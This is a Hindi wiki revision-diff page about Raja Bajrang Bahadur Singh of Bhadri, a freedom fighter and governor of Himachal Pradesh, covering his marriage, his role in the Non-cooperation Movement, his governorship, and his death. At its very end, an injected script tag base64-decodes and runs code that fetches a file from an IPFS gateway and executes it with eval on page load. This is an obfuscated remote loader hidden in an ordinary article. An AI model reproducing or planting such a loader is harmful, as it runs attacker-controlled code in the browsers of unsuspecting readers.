"राजा बजरंग बहादुर सिंह": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
No edit summary
 
(4 सदस्यों द्वारा किए गए बीच के 6 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
{{सूचना बक्सा राजनीतिज्ञ
{{सूचना बक्सा राजनीतिज्ञ
|चित्र=Raja Bajrang Bahadur Singh Bhadri.jpg
|चित्र=Raja Bajrang Bahadur Singh Bhadri.jpg
|चित्र का नाम=राजा बजरंग बहादुर सिंह साथ [[जवाहर लाल नेहरु]]
|चित्र का नाम=राजा बजरंग बहादुर सिंह के साथ जवाहर लाल नेहरू
|पूरा नाम=राजा बजरंग बहादुर सिंह
|पूरा नाम=राजा बजरंग बहादुर सिंह
|अन्य नाम=
|अन्य नाम=
|जन्म=[[1905]]
|जन्म=[[1905]]
|जन्म भूमि=[[प्रतापगढ़ ज़िला|प्रतापगढ़]]
|जन्म भूमि=[[प्रतापगढ़ ज़िला|प्रतापगढ़]], [[उत्तर प्रदेश]]
|अविभावक=राजा किशन प्रसाद सिंह
|अभिभावक=राजा किशन प्रसाद सिंह
|पति/पत्नी=रानी गिरिजा देवी
|पति/पत्नी=रानी गिरिजा देवी
|संतान=राजा उदय प्रताप सिंह (भतीजे है, जिन्हें गोद लिया)
|संतान=
|मृत्यु=[[1970]]  
|मृत्यु=[[1970]]  
|मृत्यु स्थान=
|मृत्यु स्थान=
पंक्ति 15: पंक्ति 15:
|क़ब्र=  
|क़ब्र=  
|नागरिकता=भारतीय
|नागरिकता=भारतीय
|प्रसिद्धि=[[स्वतंत्रता सेनानी सूची|स्वतंत्रता सेनानी]] एवं [[हिमाचल प्रदेश]] के [[राज्यपाल]]  
|प्रसिद्धि=[[स्वतंत्रता सेनानी सूची|स्वतंत्रता सेनानी]] एवं [[राज्यपाल]]  
|पार्टी=[[भारतीय राष्ट्रीय कांग्रेस|कांग्रेस]]
|पार्टी=[[भारतीय राष्ट्रीय कांग्रेस|कांग्रेस]]
|पद= द्वितीय  [[राज्यपाल]] ([[हिमाचल प्रदेश]])
|पद=[[हिमाचल प्रदेश]] के दूसरे [[राज्यपाल]]  
|भाषा=[[अंग्रेज़ी भाषा|अंग्रेज़ी]], [[हिन्दी]], [[अवधी भाषा|अवधी]]  
|भाषा=[[अंग्रेज़ी भाषा|अंग्रेज़ी]], [[हिन्दी]], [[अवधी भाषा|अवधी]]  
|जेल यात्रा=
|जेल यात्रा=
पंक्ति 26: पंक्ति 26:
|संबंधित लेख=
|संबंधित लेख=
|शीर्षक 1=रचनाएँ
|शीर्षक 1=रचनाएँ
|पाठ 1=हाउ टू ट्रेन योर डॉग
|पाठ 1=हाउ टू ट्रेन योर डॉग
|शीर्षक 2=
|शीर्षक 2=
|पाठ 2=
|पाठ 2=
|अन्य जानकारदेश के पहले कृषि विश्वविद्यालय अर्थात पंतनगर विश्वविद्यालय  के संस्थापक  सदस्य व उपकुलपति थे।
|अन्य जानकारदेश के पहले कृषि विश्वविद्यालय अर्थात पंतनगर विश्वविद्यालय  के संस्थापक  सदस्य व उपकुलपति थे।
|बाहरी कड़ियाँ=  
|बाहरी कड़ियाँ=  
|अद्यतन=13:10, २ अप्रैल २०१३ (IST)
|अद्यतन={{अद्यतन|16:00, 26 अप्रॅल 2013 (IST)}}
}}
}}


'''राजा राय बजरंग बहादुर सिंह''' (1905-1970) [[स्वतंत्रता सेनानी सूची|स्वतंत्रता सेनानी]] व [[हिमाचल प्रदेश]] के [[राज्यपाल]] थे। वे [[अवध]] [[प्रतापगढ़ ज़िला|प्रतापगढ़]] की रियासत भदरी के राजा थे।
'''राजा राय बजरंग बहादुर सिंह''' (1905-1970) [[स्वतंत्रता सेनानी सूची|स्वतंत्रता सेनानी]] व [[हिमाचल प्रदेश]] के उप [[राज्यपाल]] थे। वे [[अवध]] [[प्रतापगढ़ ज़िला|प्रतापगढ़]] की तालुकदारी रियासत भदरी के राजा थे।
 
==संक्षिप्त परिचय==
==== संक्षिप्त परिचय ====
[[चित्र:Raja Bajrang Bahadur Singh.gif|thumb|250px|राजा बजरंग बहादुर सिंह|left]]
 
राजा बजरंग बहादुर सिंह का जन्म सन [[1905]] में [[उत्तर प्रदेश]] के [[प्रतापगढ़ ज़िला|प्रतापगढ़]] मे भदरी नरेश राजा किशन प्रसाद सिंह के घर हुआ। आपके दो भाई भद्रेश्वर प्रताप सिंह और त्रिलोचन प्रताप सिंह थे लेकिन भदरी नरेश के ज्येष्ठ पुत्र होने के कारण पिता की रियासत के राजा आप बने। आप राजा साहब भदरी और राजा राय साहब जैसे उपनामो भी जाने जाते थे।  
[[चित्र:Raja Bajrang Bahadur Singh.gif|thumb|250px|राजा बजरंग बहादुर सिंह<br /> Raja Bajrang Bahadur Singh]]
====विवाह====
 
वर्ष [[1926]] में राजा बजरंग बहादुर सिंह का विवाह [[अजयगढ़]] के महाराजा पुण्य प्रताप सिंह और महारानी रुक्मणी देवी की पुत्री रानी गिरिजा देवी से हुआ।  
राजा बजरंग बहादुर सिंह का जन्म सन 1905 में [[उत्तर प्रदेश]] के [[प्रतापगढ़ ज़िला|प्रतापगढ़]] मे भदरी नरेश राजा किशन प्रसाद सिंह के घर हुआ। आपके दो भाई भद्रेश्वर प्रताप सिंह और त्रिलोचन प्रताप सिंह थे लेकिन भदरी नरेश के ज्येष्ठ पुत्र होने के कारण पिता की रियासत के राजा आप बने। आप राजा साहब भदरी और राजा राय साहब जैसे उपनामो भी जाने जाते थे।  
==== स्वतंत्रता संग्राम में योगदान====
 
बतौर [[स्वतंत्रता सेनानी सूची|स्वतंत्रता संग्राम सेनानी]] राजा बजरंग बहादुर सिंह कई आंदोलनों में सक्रिय भूमिका निभाई। स्वतंत्रता संग्राम के इतिहास में इनकी रियासत भदरी का कई स्थानों पर ज़िक्र है। [[महात्मा गाँधी]] के [[असहयोग आंदोलन]] का राजा भदरी ने समर्थन किया और असहयोग आंदोलन में अपनी सक्रिय भूमिका दर्ज कराते हुए बजरंग बहादुर सिंह ने विदेशी वस्त्रो का बहिष्कार कर कपड़ों की [[होली]] जलायी।
==== विवाह ====
==राज्यपाल पद==
 
स्वतंत्रता प्राप्ति के बाद वर्ष [[1955]] में राजा बजरंग बहादुर [[हिमाचल प्रदेश]] के [[राज्यपाल]] बने। [[1 जनवरी]] [[1955]] को उप [[राज्यपाल]] पद पर नियुक्ति हुई और [[13 अगस्त]] [[1963]] तक इस पद पर कार्यरत रहे।
वर्ष 1926 मे राजा बजरंग बहादुर सिंह का विवाह [[अजयगढ़]] के महाराजा पुण्य प्रताप सिंह और महारानी रुक्मणी देवी की पुत्री रानी गिरिजा देवी से हुआ। उदय प्रताप सिंह राजा बजरंग बहादुर के  पुत्र है।
 
==== स्वतंत्रता संग्राम से जुड़ाव ====
 
बतौर [[स्वतंत्रता सेनानी सूची|स्वतंत्रता संग्राम सेनानी]] राजा बजरंग बहादुर सिंह कई आंदोलनो मे सक्रिय भूमिका निभाई। स्वतंत्रता संग्राम के इतिहास मे इनकी रियासत भदरी का कई स्थानो पर जिक्र है। [[महात्मा गाँधी]] के [[असहयोग आंदोलन]] का राजा भदरी ने समर्थन किया और असहयोग आंदोलन मे अपनी सक्रिय भूमिका दर्ज कराते हुए बजरंग बहादुर सिंह ने विदेशी वस्त्रो का बहिष्कार करकपड़ो की [[होली]] जलायी।
 
==== राज्यपाल पद ====
 
स्वतंत्रता प्राप्ति के बाद वर्ष 1955 मे राजा बजरंग बहादुर हिमाचल प्रदेश के [[राज्यपाल]] बने।[[1 जनवरी]] [[1955]] को [[राज्यपाल]] पद पर नियुक्ति हुई और [[13 अगस्त]] [[1963]] तक इस पद पर कार्यरत रहे।
 
 
==== सामाजिक जीवन ====
 
देश के पहले [[कृषि]] [[विश्वविद्यालय]] अर्थात [[गोविंद बल्लभ पंत]] युनिवर्सिटी ऑफ़  एग्रिकल्चर एंड टेक्नॉलोजी  के संस्थापक सदस्य व उपकुलपति थे। आपने "हाउ टू ट्रेन योर  डॉग" नामक  पुस्तक भी लिखी। राय साहब बजरंग ने '''हिंद फ्लाइंग क्लब''' की स्थापना की थी।


==सामाजिक जीवन==
देश के पहले [[कृषि]] [[विश्वविद्यालय]] अर्थात [[गोविंद बल्लभ पंत]] यूनिवर्सिटी ऑफ़  एग्रिकल्चर एंड टेक्नॉलोजी  के संस्थापक सदस्य व उपकुलपति थे। आपने "हाउ टू ट्रेन योर  डॉग" नामक  पुस्तक भी लिखी। राय साहब बजरंग ने '''हिंद फ्लाइंग क्लब''' की स्थापना की थी।
==== निधन ====
==== निधन ====
वर्ष [[1970]] में एक बीमार रहने के कारण देश के एक कुशल प्रशासक, स्वतंत्रता संग्राम सेनानी, समाजसेवी राजा बजरंग बहादुर सिंह का निधन हो गया।


वर्ष 1970 मे एक बीमार रहने के कारण देश के एक कुशल प्रशासक, स्वतंत्रता संग्राम सेनानी, समाजसेवी राजा बजरंग बहादुर सिंह का निधन हो गया।
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3 |माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=आधार1|प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
<references/>
<references/>
==बाहरी कड़ियाँ==
==बाहरी कड़ियाँ==


==संबंधित लेख==
==संबंधित लेख==
पंक्ति 79: पंक्ति 64:
[[Category:राजनीति कोश]]
[[Category:राजनीति कोश]]
[[Category:साहित्य कोश]]
[[Category:साहित्य कोश]]
[[Category:हिमाचल प्रदेश के राज्यपाल]]
__INDEX__
__INDEX__
__NOTOC__
__NOTOC__

09:37, 5 अप्रैल 2024 के समय का अवतरण

राजा बजरंग बहादुर सिंह
राजा बजरंग बहादुर सिंह के साथ जवाहर लाल नेहरू
राजा बजरंग बहादुर सिंह के साथ जवाहर लाल नेहरू
पूरा नाम राजा बजरंग बहादुर सिंह
जन्म 1905
जन्म भूमि प्रतापगढ़, उत्तर प्रदेश
मृत्यु 1970
अभिभावक राजा किशन प्रसाद सिंह
पति/पत्नी रानी गिरिजा देवी
नागरिकता भारतीय
प्रसिद्धि स्वतंत्रता सेनानी एवं राज्यपाल
पार्टी कांग्रेस
पद हिमाचल प्रदेश के दूसरे राज्यपाल
भाषा अंग्रेज़ी, हिन्दी, अवधी
पुरस्कार-उपाधि राय
विशेष योगदान असहयोग आन्दोलन
रचनाएँ हाउ टू ट्रेन योर डॉग
अद्यतन‎

राजा राय बजरंग बहादुर सिंह (1905-1970) स्वतंत्रता सेनानीहिमाचल प्रदेश के उप राज्यपाल थे। वे अवध प्रतापगढ़ की तालुकदारी रियासत भदरी के राजा थे।

संक्षिप्त परिचय

राजा बजरंग बहादुर सिंह

राजा बजरंग बहादुर सिंह का जन्म सन 1905 में उत्तर प्रदेश के प्रतापगढ़ मे भदरी नरेश राजा किशन प्रसाद सिंह के घर हुआ। आपके दो भाई भद्रेश्वर प्रताप सिंह और त्रिलोचन प्रताप सिंह थे लेकिन भदरी नरेश के ज्येष्ठ पुत्र होने के कारण पिता की रियासत के राजा आप बने। आप राजा साहब भदरी और राजा राय साहब जैसे उपनामो भी जाने जाते थे।

विवाह

वर्ष 1926 में राजा बजरंग बहादुर सिंह का विवाह अजयगढ़ के महाराजा पुण्य प्रताप सिंह और महारानी रुक्मणी देवी की पुत्री रानी गिरिजा देवी से हुआ।

स्वतंत्रता संग्राम में योगदान

बतौर स्वतंत्रता संग्राम सेनानी राजा बजरंग बहादुर सिंह कई आंदोलनों में सक्रिय भूमिका निभाई। स्वतंत्रता संग्राम के इतिहास में इनकी रियासत भदरी का कई स्थानों पर ज़िक्र है। महात्मा गाँधी के असहयोग आंदोलन का राजा भदरी ने समर्थन किया और असहयोग आंदोलन में अपनी सक्रिय भूमिका दर्ज कराते हुए बजरंग बहादुर सिंह ने विदेशी वस्त्रो का बहिष्कार कर कपड़ों की होली जलायी।

राज्यपाल पद

स्वतंत्रता प्राप्ति के बाद वर्ष 1955 में राजा बजरंग बहादुर हिमाचल प्रदेश के राज्यपाल बने। 1 जनवरी 1955 को उप राज्यपाल पद पर नियुक्ति हुई और 13 अगस्त 1963 तक इस पद पर कार्यरत रहे।

सामाजिक जीवन

देश के पहले कृषि विश्वविद्यालय अर्थात गोविंद बल्लभ पंत यूनिवर्सिटी ऑफ़ एग्रिकल्चर एंड टेक्नॉलोजी के संस्थापक सदस्य व उपकुलपति थे। आपने "हाउ टू ट्रेन योर डॉग" नामक पुस्तक भी लिखी। राय साहब बजरंग ने हिंद फ्लाइंग क्लब की स्थापना की थी।

निधन

वर्ष 1970 में एक बीमार रहने के कारण देश के एक कुशल प्रशासक, स्वतंत्रता संग्राम सेनानी, समाजसेवी राजा बजरंग बहादुर सिंह का निधन हो गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>